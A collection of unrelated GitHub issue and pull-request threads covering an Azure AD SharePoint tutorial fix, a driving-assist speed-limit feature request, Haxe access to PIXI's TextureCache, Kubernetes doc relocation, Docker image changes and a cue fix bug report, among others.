Content Source: articles/active-directory/saas-apps/sharepoint-on-premises-tutorial.md
Service: azure-active-directory
GitHub Login: @jeevansd
Microsoft Alias: jeedes

@joshtransient Thanks for the feedback! We are currently investigating and will update you shortly.

@joshtransient Thanks for the feedback !  I have assigned this issue to content author to investigate and update the document as appropriate.

Code in the example looks like it was updated to add $map5, but last line does not add $map5 in the -ClaimsMapping argument.

@chetansriv Yes we missed it in the last line for adding the map5 variable. So please add that here.

@joshtransient This is complete now, please review

#please-close


mapd node feature behaviour

I have been implementing the nodes feature speed changes to my Subaru Forester, it really works well - thanks for the add. However, when passing a node, such as a speed bump, the road speed limit does not change back until a node in the road way has been passed. In some cases, if the road is straight, the next roadway node may be far off, leaving the speed limit at the last node feature limit passed.
Suggestion: can the roadway routine check whether the feature node is ahead or behind. The moment its position becomes behind the vehicle position, the speed limit should change back to the roadway it is on, or to the previous set road speed limit. This would make the behaviour at stops and traffic circles much better as well.

I managed to simulate this behaviour in carcontroller.py by testing whether the distance to the feature exists, increases or decreases at 5Hz, works pretty well, will close this request. JP


Can't access PIXI.utils.TextureCache from Haxe

Hey, I didn't find a way to use it via Haxe. At the moment I'm using an untyped to access it:
untyped js('for (var name in PIXI.utils.TextureCache)
if (name.indexOf("explosion_") == 0)
out[out.length] = name;');

Try pixi.core.utils.Utils.TextureCache. Should work.

Ok, thanks! Do you success to iterate on this array? I got an error: You can't iterate on a Dynamic value, please specify Iterator or Iterable. I try to cast it but without luck so far.

Finally, I did for (name in Reflect.fields(pixi.core.utils.Utils.TextureCache)) not sure if it's the best way though.

It's not any Array. It's an object https://github.com/pixijs/pixi.js/blob/master/src/core/utils/index.js#L268
So using Reflect should be fine on dynamic objects.

Yeah indeed 👍


Add @edunham to the community team!

r? @nikomatsakis
(rust_highfive has picked a reviewer for you, use r? to override)

Merging with gusto :smile:


1.The ZH create-cluster-kubeadm.md should be in "content/zh/docs/setup/production-environment/tools/kubeadm"

1.The ZH create-cluster-kubeadm.md should be in "content/zh/docs/setup/production-environment/tools/kubeadm" directory, not in "content/zh/docs/setup/independent/" directory
2.Retranslate the content/zh/docs/setup/production-environment/tools/kubeadm/create-cluster-kubeadm.md

Oh, I see. This PR is about moving the doc to the same location as in English version.
/lgtm
/approve


Project sorting is not done properly

Description
In the projects page the sorting of projects based on tags/domains is not being done properly. If I click on API, it is showing a project which has DS,Algorithms as tag but when I click DSA it is showing the project with DSA as a tag.
Screenshots

Additional information
I would like to correct this and make the necessary changes.  Can you assign me this issue? I want to work on it.
Do you want to work on this issue?

[X] I want to work on this issue.

Can you assign me this issue?


abi: do not attempt to setup rootless if euid==0

if the process has already euid==0 do not attempt to setup rootless.
Signed-off-by: Giuseppe Scrivano<EMAIL_ADDRESS>

lgtm

LGTM

/lgtm
/hold

LGTm

/hold cancel


Use alpine and java 8 for docker images.

The first images were built more closely to what Spark has already done in their Mesos integration tests, but Alpine has a smaller image size and thus is quicker to pull and build with. Also use Java 8 instead of Java 7 as the base.

@ash211 anything else here?

Nope, LGTM!


cmd/cue: fix gives up if any directories contain multiple packages

What version of CUE are you using (cue version)?
I am on master (e48fb9db492048b213b6a56fdce5c3660e69a189) with https://review.gerrithub.io/c/cue-lang/cue/+/1200221 cherry picked for testing.
Does this issue reproduce with the latest stable release?
Yes; this appears to be an issue with cue fix.
What did you do?
! exec cue eval ./...
stderr 'found packages.*bad1.*bad2'

exec cue fix ./...
cmp good/good.cue good/good.cue.fixed

-- good/good.cue --
package p

out: ["foo"] + ["bar"]
-- good/good.cue.fixed --
package good

import "list"

out: list.Concat([["foo"], ["bar"]])
-- bad/bad1.cue --
package bad1
-- bad/bad2.cue --
package bad2

What did you expect to see?
The testscript above should pass.
What did you see instead?
It fails; cue fix ./... appears to do nothing, presumably due to the error that cue eval ./... shows.
> exec cue fix ./...
> cmp good/good.cue good/good.cue.fixed
diff good/good.cue good/good.cue.fixed
--- good/good.cue
+++ good/good.cue.fixed
@@ -1,3 +1,5 @@
-package p
-
-out: ["foo"] + ["bar"]
+package good
+
+import "list"
+
+out: list.Concat([["foo"], ["bar"]])

FAIL: repro-cmd.txtar:5: good/good.cue and good/good.cue.fixed differ

We should change cue fix so that it fixes all packages in each directory.
I encountered this while trying to use cue fix ./... on some projects in Unity to apply @cuematthew's fix for list arithmetic.

The fix may be along the lines of passing cue/load.Config.Package: "*", FYI @cuematthew

I forgot to mention - a regression test should also ensure that, when a directory contains many packages at once, each of them gets fixed as well.


reconstruct srcnn

former code has been reconstructed into generate_data.py ,train.py ,evalue.py

 Thank you for your submission, we really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.:x: amazonnnn sign nowYou have signed the CLA already but the status is still pending? Let us recheck it.